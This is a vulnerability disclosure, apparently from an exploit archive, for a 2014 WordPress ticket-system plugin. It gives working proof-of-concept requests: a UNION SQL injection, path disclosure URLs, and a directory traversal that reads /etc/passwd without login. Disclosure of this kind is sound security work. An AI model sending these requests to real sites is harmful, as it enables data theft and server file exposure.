52 lines
No EOL
1.9 KiB
Text
52 lines
No EOL
1.9 KiB
Text
# Exploit Title: Wordpress WP Support Plus Responsive Ticket System 2.0
|
|
Plugin - Multiple Vulnerabilities
|
|
# Google Dork: N/A
|
|
# Date: 09.09.2014
|
|
# Exploit Author: Fikri Fadzil - fikri.fadzil@impact-alliance.org
|
|
# Vendor Homepage - http://wpsuportplus.byethost7.com/
|
|
# Software
|
|
http://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
|
|
# Version: 2.0
|
|
# Tested on: PHP
|
|
|
|
|
|
Description:
|
|
This plugin adds to WordPress the features of a complete ticket system with
|
|
100% responsive and 100% Ajax functionality. This allows users to submit
|
|
tickets to report problems or get support on whatever you want. Users can
|
|
set the status, priority and category of each ticket.
|
|
|
|
|
|
Proof of Concept:
|
|
|
|
1. SQL INJECTION
|
|
URL : http://localhost/wp-admin/admin-ajax.php
|
|
METHOD : POST
|
|
REQUEST : action=openTicket&ticket_id=-1 UNION SELECT
|
|
concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7
|
|
* any registered user can successfully execute this request
|
|
|
|
|
|
2. FULL PATH DISCLOSURE
|
|
a) URL :
|
|
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=/var/www/wp-content/uploads/2014/09/file.pdf
|
|
* full path to the file will be shown to the user after the file has been
|
|
uploaded
|
|
b) URL :
|
|
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=
|
|
* full path will be shown in PHP error message if parameter "path" is empty
|
|
|
|
|
|
3. DIRECTORY TRAVERSAL
|
|
URL :
|
|
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=/etc/passwd
|
|
* any file from the server can be downloaded by giving parameter "path" the
|
|
location to the file
|
|
|
|
|
|
4. BROKEN AUTHENTICATION
|
|
URL :
|
|
http://localhost/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=<any
|
|
file path>
|
|
* The script "downloadAttachment.php" is accessible for anyone without
|
|
having to login. |